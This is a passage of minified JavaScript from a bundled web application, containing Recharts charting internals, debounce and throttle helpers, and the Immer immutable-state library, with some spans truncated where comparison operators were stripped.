0?r:ua,s=cA().keys(t).value((l,c)=>Number(Ve(l,c,0))).order(Bp).offset(i),o=s(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ve(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ge(f[0])&&ge(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function kT(e){return e==null?void 0:String(e)}function My(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:s,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Mt(i[t.dataKey])){var l=oN(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[s]?n[s].coordinate+r/2:null}var c=Ve(i,Mt(o)?t.dataKey:o),u=t.scale.map(c);return ge(u)?u:null}var zT=e=>{var t=e.flat(2).filter(ge);return[Math.min(...t),Math.max(...t)]},ST=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],CT=(e,t,n)=>{if(e!=null)return ST(Object.keys(e).reduce((r,i)=>{var s=e[i];if(!s)return r;var{stackedData:o}=s,l=o.reduce((c,u)=>{var d=hk(u,t,n),f=zT(d);return!Ee(f[0])||!Ee(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},Ly=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Iy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,xu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Pd(t,d=>d.coordinate),s=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},ET=(e,t)=>t==="centric"?e.angle:e.radius,Hr=e=>e.layout.width,Kr=e=>e.layout.height,_T=e=>e.layout.scale,xk=e=>e.layout.margin,$d=I(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Bd=I(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),vk="data-recharts-item-index",gk="data-recharts-item-id",cl=60;function Ry(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Gl(e){for(var t=1;te.brush.height;function LT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function IT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function DT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function RT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=I([Hr,Kr,xk,MT,LT,IT,DT,RT,$N,mO],(e,t,n,r,i,s,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+s},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},p=Gl(Gl({},f),d),h=p.bottom;p.bottom+=r,p=yT(p,c,u);var x=e-p.left-p.right,g=t-p.top-p.bottom;return Gl(Gl({brushBottom:h},p),{},{width:Math.max(x,0),height:Math.max(g,0)})}),$T=I(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));I(Hr,Kr,(e,t)=>({x:0,y:0,width:e,height:t}));var BT=m.createContext(null),Jn=()=>m.useContext(BT)!=null,Fd=e=>e.brush,Wd=I([Fd,kt,xk],(e,t,n)=>({height:e.height,x:ge(e.x)?e.x:t.left,y:ge(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ge(e.width)?e.width:t.width})),yk={},bk={},wk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:s}={}){let o,l=null;const c=s!=null&&s.includes("leading"),u=s==null||s.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let p=null;const h=()=>{p!=null&&clearTimeout(p),p=setTimeout(()=>{p=null,f()},r)},x=()=>{p!==null&&(clearTimeout(p),p=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=p==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(wk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wk;function n(r,i=0,s={}){typeof s!="object"&&(s={});const{leading:o=!1,trailing:l=!0,maxWait:c}=s,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const p=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),p.cancel(),p.schedule(),d):(p.apply(this,g),d)},x=()=>(p.flush(),d);return h.cancel=p.cancel,h.flush=x,h}e.debounce=n})(bk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=bk;function n(r,i=0,s={}){const{leading:o=!0,trailing:l=!0}=s;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(yk);var FT=yk.throttle;const WT=Wr(FT);var $y=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),s=2;si[o++]))}},lr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},jk=(e,t,n)=>{var{width:r=lr.width,height:i=lr.height,aspect:s,maxHeight:o}=n,l=da(r)?e:Number(r),c=da(i)?t:Number(i);return s&&s>0&&(l?c=l/s:c&&(l=c*s),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},UT={width:0,height:0,overflow:"visible"},VT={width:0,overflowX:"visible"},HT={height:0,overflowY:"visible"},KT={},GT=e=>{var{width:t,height:n}=e,r=da(t),i=da(n);return r&&i?UT:r?VT:i?HT:KT};function YT(e){var{width:t,height:n,aspect:r}=e,i=t,s=n;return i===void 0&&s===void 0?(i=lr.width,s=lr.height):i===void 0?i=r&&r>0?void 0:lr.width:s===void 0&&(s=r&&r>0?void 0:lr.height),{width:i,height:s}}function Qp(){return Qp=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return QT(i)?m.createElement(Nk.Provider,{value:i},t):null}var e0=()=>m.useContext(Nk),JT=m.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=lr.initialDimension,width:i,height:s,minWidth:o=lr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=lr.debounce,id:f,className:p,onResize:h,style:x={}}=e,g=m.useRef(null),y=m.useRef();y.current=h,m.useImperativeHandle(t,()=>g.current);var[v,b]=m.useState({containerWidth:r.width,containerHeight:r.height}),w=m.useCallback((S,O)=>{b(A=>{var T=Math.round(S),P=Math.round(O);return A.containerWidth===T&&A.containerHeight===P?A:{containerWidth:T,containerHeight:P}})},[]);m.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return bs;var S=P=>{var D,G=P[0];if(G!=null){var{width:R,height:K}=G.contentRect;w(R,K),(D=y.current)===null||D===void 0||D.call(y,R,K)}};d>0&&(S=WT(S,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(S),{width:A,height:T}=g.current.getBoundingClientRect();return w(A,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:N}=v;$y(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:k,calculatedHeight:z}=jk(j,N,{width:i,height:s,aspect:n,maxHeight:c});return $y(k!=null&&k>0||z!=null&&z>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,k,z,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:Fy(Fy({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:GT({width:i,height:s})},m.createElement(kk,{width:k,height:z},u)))}),Wy=m.forwardRef((e,t)=>{var n=e0();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=YT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=jk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(kk,{width:s,height:o},e.children):m.createElement(JT,Qp({},e,{width:r,height:i,ref:t}))});function t0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Ud=()=>{var e,t=Jn(),n=je($T),r=je(Wd),i=(e=je(Fd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},eM={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},tM=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:eM},nM=()=>je(Hr),rM=()=>je(Kr),De=e=>e.layout.layoutType,ws=()=>je(De),iM=()=>{var e=ws();if(e==="horizontal"||e==="vertical")return e},zk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},aM=()=>{var e=ws();return e!==void 0},ul=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=e0(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(mT({width:o,height:l}))},[t,n,o,l]),null},Sk=Symbol.for("immer-nothing"),Uy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Uo=Object.getPrototypeOf;function us(e){return!!e&&!!e[hn]}function ma(e){var t;return e?Ck(e)||Array.isArray(e)||!!e[Uy]||!!((t=e.constructor)!=null&&t[Uy])||dl(e)||Hd(e):!1}var sM=Object.prototype.constructor.toString(),Vy=new WeakMap;function Ck(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Vy.get(n);return r===void 0&&(r=Function.toString.call(n),Vy.set(n,r)),r===sM}function vu(e,t,n=!0){Vd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Vd(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:dl(e)?2:Hd(e)?3:0}function Jp(e,t){return Vd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function Pk(e,t,n){const r=Vd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function oM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function dl(e){return e instanceof Map}function Hd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function eh(e,t){if(dl(e))return new Map(e);if(Hd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Ck(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>n0(n,!0))),e}function lM(){Vn(2)}var Yl={value:lM};function Kd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var cM={};function pa(e){const t=cM[e];return t||Vn(0,e),t}var Vo;function Ek(){return Vo}function uM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Hy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function th(e){nh(e),e.drafts_.forEach(dM),e.drafts_=null}function nh(e){e===Vo&&(Vo=e.parent_)}function Ky(e){return Vo=uM(Vo,e)}function dM(e){const t=e[hn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Gy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[hn].modified_&&(th(t),Vn(4)),ma(e)&&(e=gu(t,e),t.parent_||yu(t,e)),t.patches_&&pa("Patches").generateReplacementPatches_(n[hn].base_,e,t.patches_,t.inversePatches_)):e=gu(t,n,[]),th(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Sk?e:void 0}function gu(e,t,n){if(Kd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[hn];if(!i)return vu(t,(s,o)=>Yy(e,i,t,s,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return yu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const s=i.copy_;let o=s,l=!1;i.type_===3&&(o=new Set(s),s.clear(),l=!0),vu(o,(c,u)=>Yy(e,i,s,c,u,n,l),r),yu(e,s,!1),n&&e.patches_&&pa("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Yy(e,t,n,r,i,s,o){if(i==null||typeof i!="object"&&!o)return;const l=Kd(i);if(!(l&&!o)){if(us(i)){const c=s&&t&&t.type_!==3&&!Jp(t.assigned_,r)?s.concat(r):void 0,u=gu(e,i,c);if(Pk(n,r,u),us(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ma(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;gu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(dl(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&yu(e,i)}}}function yu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&n0(t,n)}function fM(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Ek(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,s=r0;n&&(i=[r],s=Ho);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,l}var r0={get(e,t){if(t===hn)return e;const n=Wi(e);if(!Jp(n,t))return mM(e,n,t);const r=n[t];return e.finalized_||!ma(r)?r:r===fm(e.base_,t)?(mm(e),e.copy_[t]=ih(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=_k(Wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=fm(Wi(e),t),s=i==null?void 0:i[hn];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(oM(n,i)&&(n!==void 0||Jp(e.base_,t)))return!0;mm(e),rh(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return fm(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,mm(e),rh(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Vn(11)},getPrototypeOf(e){return Uo(e.base_)},setPrototypeOf(){Vn(12)}},Ho={};vu(r0,(e,t)=>{Ho[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Ho.deleteProperty=function(e,t){return Ho.set.call(this,e,t,void 0)};Ho.set=function(e,t,n){return r0.set.call(this,e[0],t,n,e[0])};function fm(e,t){const n=e[hn];return(n?Wi(n):e)[t]}function mM(e,t,n){var i;const r=_k(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function _k(e,t){if(!(t in e))return;let n=Uo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Uo(n)}}function rh(e){e.modified_||(e.modified_=!0,e.parent_&&rh(e.parent_))}function mm(e){e.copy_||(e.copy_=eh(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var pM=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const s=n;n=t;const o=this;return function(c=s,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Vn(6),r!==void 0&&typeof r!="function"&&Vn(7);let i;if(ma(t)){const s=Ky(this),o=ih(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?th(s):nh(s)}return Hy(s,r),Gy(i,s)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Sk&&(i=void 0),this.autoFreeze_&&n0(i,!0),r){const s=[],o=[];pa("Patches").generateReplacementPatches_(t,i,s,o),r(s,o)}return i}else Vn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ma(e)||Vn(8),us(e)&&(e=hM(e));const t=Ky(this),n=ih(e,void 0);return n[hn].isManual_=!0,nh(t),n}finishDraft(e,t){const n=e&&e[hn];(!n||!n.isManual_)&&Vn(9);const{scope_:r}=n;return Hy(r,t),Gy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=pa("Patches").applyPatches_;return us(e)?r(e,t):this.produce(e,i=>r(i,t))}};function ih(e,t){const n=dl(e)?pa("MapSet").proxyMap_(e,t):Hd(e)?pa("MapSet").proxySet_(e,t):fM(e,t);return(t?t.scope_:Ek()).drafts_.push(n),n}function hM(e){return us(e)||Vn(10,e),Ak(e)}function Ak(e){if(!ma(e)||Kd(e))return e;const t=e[hn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=eh(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=eh(e,!0);return vu(n,(i,s)=>{Pk(n,i,Ak(s))},r),t&&(t.finalized_=!1),n}var xM=new pM;xM.produce;var vM={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Ok=nn({name:"legend",initialState:vM,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:He()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:He()},removeLegendPayload:{reducer(e,t){var n=Yn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:He()}}}),{setLegendSize:nH,setLegendSettings:rH,addLegendPayload:Tk,replaceLegendPayload:Mk,removeLegendPayload:Lk}=Ok.actions,gM=Ok.reducer;function ah(){return ah=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=Na.separator,contentStyle:n,itemStyle:r,labelStyle:i=Na.labelStyle,payload:s,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:p=Na.accessibilityLayer}=e,h=()=>{if(s&&s.length){var N={padding:0,margin:0},k=(l?Pd(s,l):s).map((z,S)=>{if(z.type==="none")return null;var O=z.formatter||o||jM,{value:A,name:T}=z,P=A,D=T;if(O){var G=O(A,T,z,S,s);if(Array.isArray(G))[P,D]=G;else if(G!=null)P=G;else return null}var R=Fs(Fs({},Na.itemStyle),{},{color:z.color||Na.itemStyle.color},r);return m.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(S),style:R},Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-name"},D):null,Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,m.createElement("span",{className:"recharts-tooltip-item-value"},P),m.createElement("span",{className:"recharts-tooltip-item-unit"},z.unit||""))});return m.createElement("ul",{className:"recharts-tooltip-item-list",style:N},k)}return null},x=Fs(Fs({},Na.contentStyle),n),g=Fs({margin:0},i),y=!Mt(d),v=y?d:"",b=Qe("recharts-default-tooltip",c),w=Qe("recharts-tooltip-label",u);y&&f&&s!==void 0&&s!==null&&(v=f(d,s));var j=p?{role:"status","aria-live":"assertive"}:{};return m.createElement("div",ah({className:b,style:x},j),m.createElement("p",{className:w,style:g},m.isValidElement(v)?v:"".concat(v)),h())},Ws="recharts-tooltip-wrapper",kM={visibility:"hidden"};function zM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Qe(Ws,{["".concat(Ws,"-right")]:ge(n)&&t&&ge(t.x)&&n>=t.x,["".concat(Ws,"-left")]:ge(n)&&t&&ge(t.x)&&n=t.y,["".concat(Ws,"-top")]:ge(r)&&t&&ge(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var p=c[r];if(p==null)return 0;if(o[r]){var h=d,x=p;return hy?Math.max(d,p):Math.max(f,p)}function SM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function CM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:s,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,p;return l.height>0&&l.width>0&&n?(f=Xy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:s,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),p=Xy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:s,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=SM({translateX:f,translateY:p,useTranslate3d:c})):d=kM,{cssProperties:d,cssClasses:zM({translateX:f,translateY:p,coordinate:n})}}function Zy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ql(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,s;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(s=this.props.coordinate)===null||s===void 0?void 0:s.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:s,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:p,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:N}=CM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:p,viewBox:h}),k=v?{}:ql(ql({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},N),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),z=ql(ql({},k),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return m.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:z,ref:y},s)}}var Ik=()=>{var e;return(e=je(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function oh(){return oh=Object.assign?Object.assign.bind():function(e){for(var t=1;tEe(e.x)&&Ee(e.y),t1=e=>e.base!=null&&bu(e.base)&&bu(e),Us=e=>e.x,Vs=e=>e.y,MM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(sl(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=e1["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return e1[n]||bd},n1={connectNulls:!1,type:"linear"},LM=e=>{var{type:t=n1.type,points:n=[],baseLine:r,layout:i,connectNulls:s=n1.connectNulls}=e,o=MM(t,i),l=s?n.filter(bu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Jy(Jy({},x),{},{base:r[g]}));i==="vertical"?c=Fl().y(Vs).x1(Us).x0(x=>x.base.x):c=Fl().x(Us).y1(Vs).y0(x=>x.base.y);var d=c.defined(t1).curve(o),f=s?u.filter(t1):u;return d(f)}var p;i==="vertical"&&ge(r)?p=Fl().y(Vs).x1(Us).x0(r):ge(r)?p=Fl().x(Us).y1(Vs).y0(r):p=Gj().x(Us).y(Vs);var h=p.defined(bu).curve(o);return h(l)},Qa=e=>{var{className:t,points:n,path:r,pathRef:i}=e,s=ws();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||s,connectNulls:e.connectNulls},l=n&&n.length?LM(o):r;return m.createElement("path",oh({},Mr(e),Ix(e),{className:Qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},IM=["x","y","top","left","width","height","className"];function lh(){return lh=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(s,",").concat(t,"h").concat(n),VM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:s=0,height:o=0,className:l}=e,c=FM(e,IM),u=DM({x:t,y:n,top:r,left:i,width:s,height:o},c);return!ge(t)||!ge(n)||!ge(s)||!ge(o)||!ge(r)||!ge(i)?null:m.createElement("path",lh({},Ut(u),{className:Qe("recharts-cross",l),d:UM(t,n,s,o,r,i)}))};function HM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function i1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function a1(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),Dk=(e,t,n)=>e.map(r=>"".concat(qM(r)," ").concat(t,"ms ").concat(n)).join(","),XM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Ko=(e,t)=>Object.keys(t).reduce((n,r)=>a1(a1({},n),{},{[r]:e(r,t[r])}),{});function s1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ht(e){for(var t=1;te+(t-e)*n,ch=e=>{var{from:t,to:n}=e;return t!==n},Rk=(e,t,n)=>{var r=Ko((i,s)=>{if(ch(s)){var[o,l]=e(s.from,s.to,s.velocity);return ht(ht({},s),{},{from:o,velocity:l})}return s},t);return n<1?Ko((i,s)=>ch(s)&&r[i]!=null?ht(ht({},s),{},{velocity:wu(s.velocity,r[i].velocity,n),from:wu(s.from,r[i].from,n)}):s,t):Rk(e,r,n-1)};function e8(e,t,n,r,i,s){var o,l=r.reduce((p,h)=>ht(ht({},p),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Ko((p,h)=>h.from,l),u=()=>!Object.values(l).filter(ch).length,d=null,f=p=>{o||(o=p);var h=p-o,x=h/n.dt;l=Rk(n,l,x),i(ht(ht(ht({},e),t),c())),o=p,u()||(d=s.setTimeout(f))};return()=>(d=s.setTimeout(f),()=>{var p;(p=d)===null||p===void 0||p()})}function t8(e,t,n,r,i,s,o){var 